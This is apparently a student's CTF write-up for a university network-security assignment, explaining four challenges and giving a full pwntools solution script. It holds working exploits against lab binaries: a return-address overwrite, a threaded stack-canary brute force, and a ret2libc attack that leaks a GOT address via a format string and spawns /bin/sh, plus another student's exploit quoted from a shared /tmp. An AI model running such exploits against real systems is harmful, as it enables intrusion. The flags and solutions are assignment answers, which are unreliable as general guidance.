Jaskirat Singh Maskeen, 23110146
March 20, 2026
GitHub Repository
CTF Username: 23110146

CS 431: Computer and Network Security
Assignment 3

BufferOverflow — `python3 solution.py 1`

Flag : `hello:)CS431{ctfX}`
We first decompile the given binary `vuln`, so that it is easy to read through, using Decompiler Explorer. We see that the program expects a input string, and simply, stores it in a 160 byte character buffer, without validating the length. The function call to vuln looks like:

```
vuln:
    push rbp
    mov rbp, rsp
    sub rsp, 0xa0 # 160B (the buffer size)
```

So, we need to overwrite the address at `rbp + 8`. Hence we craft our payload: of size $168 + 8$ bytes. The last 8 bytes will be the address of the function we need to call, that is `win()`, which is stored at `0x40071d` (Can be found within `gdb ./vuln`, using `p &win`). This function opens the flag.txt and prints it to the screen. So, we simply execute: `python3 -c "import sys; sys.stdout.buffer.write(b'JASKIRAT'*21 + b'\x1d\x07\x40\x00\x00\x00\x00\x00')" | ./vuln`. Note that the function address is written as 8 bytes in little endian format. Running this results in printing out our flag.

BufferOverflowCagedBird — `python3 solution.py 2`

Flag : `itsYOURcanary{helloCTF431}`
We first decompile the binary using Decompiler Explorer. (We can also use gdb to figure out the size of each variable, however it is easy to read decompiled binary rather than assembly. However, the addresses mentioned in the decompiled code might be wrong.) The `main()` function, first reads first four bytes of the flag, and stores it as the global canary. Then it calls the `vuln()` functions executes, it stores a copy of the value of global canary. Then it requests the user to enter an input (first it asks for the length of the input, then the input). If that input overflows, the canary is rewritten, and after that it checks, if global canary = local canary. If not then it concludes a hacking attempt. However it is easy to bypass this, as we can use brute force to guess the canary. The stack looks as follows (tracked from disassembled code):

```
rbp+0x08    rip (return address)
rbp+0x00    saved rbp
rbp-0x04    (input loop counter)
rbp-0x0c    [padding/alignment]
rbp-0x10    local_canary (4 bytes)
rbp-0x90    buffer (128 bytes)
```

So, we will simply send a payload of size 128 (to pad the buffer) followed by 1 byte extra (this is our guess for the first byte of the canary). If for one of the 256 values of the first byte, we get "You said something", as output, we get to know that our guess for that byte was correct. Similarly we can find the entire 4 byte canary.

Now, we send our malicious payload, of size: 128 (buffer size) + 4 byte (known canary) + 12 bytes (padding) + 8 bytes (overwrite ebp) + 8 bytes (overwrite rip). rip is overwritten with the address of `win` function, which is figured out through gdb (using `p &win`). Hence, we successfully bypass the canary, and are able to execute `win()`, which prints out the flag.

Note:

> It is much easier to solve this problem, without thinking this much, as in the ctf environment for this problem, we can just do `cat /tmp/exploit.py`. Moreover if we do `cat /tmp/payload`, we can see the actual canary value as well (`itsY`) It might be the case that this was unintentional, and that other students might have tried their custom exploits here, as the user `ctf` (us), have write permissions to the `/tmp` directory. Refer to Fig. 1c and Fig. 1f.

Smash — `python3 solution.py 3`

Flag : `cns431ctf{0oops_5up32_m4210_5m45h_8202}`
We first decompile the binary using Decompiler Explorer. The vulnerability in this problem is that in `say_hello` function, we use `strcpy`, which is unsafe. We can potentially overwrite the items on the stack, beyond the 128 byte buffer. However we do not see any function, in the decompiled code, which might leak the flag. Running `checksec ./hello` shows that we have `NX enabled`, or in other words we cannot execute any code in the stack section, by overwriting PC to some address in the stack. We are also provided with the libc shared object, which indicates that we might do a return-to-libc attack, where rather than executing our own code, we try to execute functions present in the libc library such as `system()`, and `exit()`. Also we notice that the binary is compiled for a 32 bit word size environment (`i386-32-little`). We also use pwntools, to get the base address of libc, however, turns out that ALSR is on, hence we need to dynamically get the base address for libc, without exiting the program. Moreover, the binary is not PIE (position independent executable), which is a good thing, as the binary loads at the same address, so addresses in the `.text` are not randomized. We start with connecting to the server and sending our initial payload, of length 136 bytes, (128 to fill the buffer, next 4 bytes to override ebp, and next 4 bytes to overwrite eip).

To get the actual addresses of the linked libc binary, we first get the address of `printf` stored in Global Offset Table in the `hello` binary, then we pack it as a 4 byte unsigned integer. These are the first four bytes of our payload. Next few bytes (`plswork %s plswork`) will exploit the format string vulnerability. Here when `printf` is called (in `say_hello`) function, %s will look at the first element above it's call frame in the stack, and that turns out to be the address of `printf` in GOT.

The stack looks like this (indentation denotes child function's call frame):

```
higher addresses
eip overwritten (main's address)
ebp (overwritten junk)
buf (128 bytes) (lower 4 bytes = printf_got)
    printf_eip
    printf_ebp
    arg: not found, sees above stack
lower addresses
```

The sting 'plswork' is just to distinguish the start and end of the output written inplace of %s. Now %s prints until the null terminator, hence we take the first four bytes, unpack them to get the actual address of the `printf` function in the running binary. Importantly, we do not want our binary to exit, otherwise ALSR will change these addresses again, hence for the last four bytes of the payload, we overwrite eip with the address of the `main` function, which we can get from the `hello` binary (as no PIE). The remaining bytes are just padding.

With this, we can compute the offset from libc, as offset = actual_printf − `printf_addr_in_libc.so`. With this offset, we craft our final payload, which is 132 byte of padding (to fill buffer, and overwrite ebp), then the address of the `system` function from libc (`libc.symbols['system'] + offset`), then a random 4 byte address to serve as the return address for the system function, followed by the input to the system function, that is, '`/bin/sh\x00`'. Executing this, gives us access to shell, and we can do `cat flag.txt` to get the flag.

Reverse — `python3 solution.py 4`

Flag : `cns431ctf{YEAH!y0u_d1sc0v3r3d_th3_p4sc4ls_tr14ngl3}`
We first, reverse (the name suggests it) the binary `triangle` using Decompiler Explorer. From the resulting decompiled code, we can infer infer what the program does. The main function, creates a random number say $x \equiv 15 + \texttt{rand()} \pmod 6$ and then prints it. Here `rand()` is implicitly casted as `unsigned int` (see assembly/decompiled code) Then It calls `process(x)`, which starts iterating from $i = 0$ to $i = x$, and expects the user input to be be equal to $\binom{x}{i}$. If that is true for all i, then the program executes `cat flag.txt`, which shows us the flag.

```
=> python3 solution.py 1
Problem: BufferOverflow
[q] Opening connection to 10.0.118.48 on port 4455: Tryin
[+] Opening connection to 10.0.118.48 on port 4455: Done
Flag: hello:)CS431{ctfX}

[*] Closed connection to 10.0.118.48 port 4455
=>
```

(a)

```
=> python3 solution.py 2
Problem: BufferOverflowCagedBird
[<] Opening connection to 10.0.118.48 on port 4456: Tryin
[+] Opening connection to 10.0.118.48 on port 4456: Done
Flag: itsYOURcanary{helloCTF431}

[*] Closed connection to 10.0.118.48 port 4456
=>
```

(b)

```
CagedBird$ nc 10.0.118.48 4456
Welcome to the CTF Challenge!
You have access to the following tools:
  - gdb: Inspect and debug the 'vuln' binary.
  - vuln: Run the vulnerable binary.
  - nc: Test exploitation with netcat.
Explore the binary to find and exploit the vulnerability!
----------------------------------------------------------
cd /tmp
ls
canary.txt
payload
payload
payload
payload
payload
payload
payload.bin
q2check
q2final
q2final2
q2race
q2run_1773733854
q2swap
cat payload
150
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAitsYBBBBBBBBBBBB@
cat exploit.py
import subprocess,struct,sys
WIN=0x4008fd
def r(n,p):
 pr=subprocess.Popen(["./vuln"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
 o,_=pr.communicate(str(n).encode()+b'\n'+p,timeout=5);return o
c=b''
for i in range(4):
 for g in range(256):
  if b'hacker'not in r(128+i+1,b'A'*128+c+bytes([g])):
   c+=bytes([g]);print("byte[{}]=0x{:02x}".format(i,g));break
 else:print('fail');sys.exit(1)
print("canary={}".format(c.hex()))
p=b'A'*128+c+b'B'*12+b'C'*8+struct.pack('<Q',WIN)
print(r(len(p),p).decode('utf-8','replace'))
```

(c)

```
=> python3 solution.py 3
Problem: Smash
[*] '/mnt/c/Users/GSRAJA/Desktop/IIT GN/sem6/CS 431/Assig
nments/Assignment 3/problems/smash/hello'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/mnt/c/Users/GSRAJA/Desktop/IIT GN/sem6/CS 431/Assig
nments/Assignment 3/problems/smash/libc-2.23.so'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[/.......] Opening connection to 10.0.118.48 on port 3377
: Trying 10Opening connection to 10.0.118.48 on port 3377
[+] Opening connection to 10.0.118.48 on port 3377: Done
[+] Receiving all data: Done (39B)
[*] Closed connection to 10.0.118.48 port 3377
Flag: cns431ctf{0oops_5up32_m4210_5m45h_8202}
=>
```

(d)

```
=> python3 solution.py 4
Problem: Reverse
[.] Opening connection to 10.0.118.48 on port 6464: Trying
[+] Opening connection to 10.0.118.48 on port 6464: Done
[+] Receiving all data: Done (52B)
[*] Closed connection to 10.0.118.48 port 6464
Flag: cns431ctf{YEAH!y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}
=>
```

(e)

```
------------------------------------------------------------
cd /tmp
ls -l
total 52
-rw-r--r--. 1 ctf ctf    4 Mar 17 16:01 canary.txt
-rw-r--r--. 1 ctf ctf  545 Mar 18 13:00 exploit.py
-rw-r--r--. 1 ctf ctf   13 Mar 19 14:48 in.dat
-rw-r--r--. 1 ctf ctf  156 Mar 18 05:54 payload
-rw-r--r--. 1 ctf ctf  152 Mar 17 15:58 payload.bin
drwxr-xr-x. 2 ctf ctf 4096 Mar 19 14:54 pwn
drwxr-xr-x. 2 ctf ctf 4096 Mar 16 22:12 q2check
drwxr-xr-x. 2 ctf ctf 4096 Mar 16 22:13 q2final
drwxr-xr-x. 2 ctf ctf 4096 Mar 17 07:45 q2final2
drwxr-xr-x. 2 ctf ctf 4096 Mar 16 22:11 q2race
drwxr-xr-x. 2 ctf ctf 4096 Mar 17 07:51 q2run_1773733854
drwxr-xr-x. 2 ctf ctf 4096 Mar 16 22:13 q2swap
-rw-r--r--. 1 ctf ctf  704 Mar 19 12:39 solve2.py
```

(f)

Figure 1

Source Code: solution.py

```
import sys
from pwn import * # https://github.com/Gallopsled/pwntools
import re
import time
```

```
import concurrent.futures
from math import comb

# pip install pwntools

def problem1():
    print("Problem: BufferOverflow")
    r = remote("10.0.118.48", 4455)
    r.recvuntil(b'--------------\n')
    r.send(b'''python3 -c "import sys; sys.stdout.buffer.write(b'JASKIRAT'*21 + b'\x1d\x07\x40\x00\x00\x00\x00\x00
        ')" | ./vuln\n''')
    r.recvline()
    r.recvline()
    flag = r.recvline()
    print(f"Flag: {flag.decode()}")
    r.close()


def problem2():
    print("Problem: BufferOverflowCagedBird")
    found = False

    def guess_next_byte(guess, known_canary):
        nonlocal found
        if found:
            return None
        target_byte = bytes([guess])
        try:
            p = remote("10.0.118.48", 4456)
            p.recvuntil(
                b"--------------------\n", timeout=2
            )
            p.sendline(b"./vuln")
            p.recvuntil(b"how many bytes to read\n", timeout=2)

            # Size: 128 padding + known canary + 1 guess
            read_size = 128 + len(known_canary) + 1
            p.sendline(str(read_size).encode())
            p.recvuntil(b"Now enter the string\n", timeout=2)
            payload = b"JASKIRAT" * 16 + known_canary + target_byte
            p.send(payload)
            time.sleep(0.1)
            response = p.clean(timeout=1)
            p.close()
            if b"hacker detected!" not in response:
                return target_byte
        except Exception:
            pass
        finally:
            try:
                p.close()
            except:
                pass
        return None

    def brute_force():
        global found
        canary = b""
        for byte_idx in range(4):
            found = False
            with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
                futures = [executor.submit(guess_next_byte, g, canary) for g in range(256)]
```

```
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result is not None:
                    found = True
                    print(f"Found byte {byte_idx + 1}: {result.hex()}")
                    canary += result
                    break
        print(f"Canary: {canary.decode()}")
        return canary


    def get_flag(canary):
        p = remote("10.0.118.48", 4456)
        p.recvuntil(b"--------------------\n", timeout=2)
        p.sendline(b"./vuln")
        p.recvuntil(b"how many bytes to read\n", timeout=2)

        # 128 bytes to fill buffer + 4 bytes canary + 12 bytes padding + 8 bytes saved RBP overwrite + 8 bytes RIP
            overwrite (WIN_ADDR)
        payload = b"JASKIRAT" * 16
        payload += canary
        payload += b"JASKIRAT" * 2 + b"JASK"
        payload += p64(0x4008FD)

        p.sendline(str(len(payload)).encode())
        p.recvuntil(b"Now enter the string\n", timeout=2)

        p.send(payload)
        sleep(2)
        p.recvline()
        p.recvline()
        p.recvline()
        print(f"Flag: {p.recvline().decode()}")
        p.close()

    if __name__ == "__main__":
        canary = brute_force()
        # canary = b"itsY"
        get_flag(canary)



def problem3():
    """
    Reference: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
    """
    print("Problem: Smash")

    hello_elf = ELF('./problems/smash/hello')
    libc = ELF('./problems/smash/libc-2.23.so')

    printf_got = hello_elf.got['printf']
    main_addr = hello_elf.symbols['main']

    payload_initial:str = p32(printf_got) + b"plswork %s plswork"
    # %s -> treat printf_got (first element on stack) addr as char
    # pointer and print the string. so we get the actual address of
    # the printf fucntion.
    payload_initial += (132 - len(payload_initial)) * b'J' + p32(main_addr)
    # we cannot exit and reconnect cause then alsr randomization
    # might change
```

```
    p = remote('10.0.118.48', 3377)
    p.recvuntil(b"What's your name?\n")
    p.sendline(payload_initial)
    p.recvuntil(b'plswork ')
    s = p.recvuntil(b' plswork')
    actual_printf = u32(s.strip()[:4])

    offset = actual_printf - libc.symbols['printf']

    system_addr = libc.symbols['system'] + offset
    binsh_addr = list(libc.search(b'/bin/sh\x00'))[0] + offset

    payload_final = b'JASKIRAT' * 16 + b'JASK' + p32(system_addr) + p32(0xbadabada) # radon return address for
        system
    payload_final += p32(binsh_addr) # pass in argument to system

    p.recvuntil(b"What's your name?\n")
    p.sendline(payload_final)
    sleep(5)
    p.sendline('cat flag.txt'.encode())
    p.recvline()
    print(f"Flag: {p.recvall(5).decode()}")


def problem4():
    print("Problem: Reverse")
    r = remote("10.0.118.48", 6464)
    n = int(r.recvline().strip().decode())
    s = ''
    for i in range(n+1):
        s+=str(comb(n,i)) + '\n'

    r.send(s.encode())
    f = r.recvall()
    print(f"Flag: {f.decode()}")
    r.close()


if __name__ == "__main__":
    n = sys.argv
    if len(n) != 2:
        print(f"Usage solution.py <problem_id>")
        exit()
    prob = int(n[1])
    exec(f"problem{prob}()")
```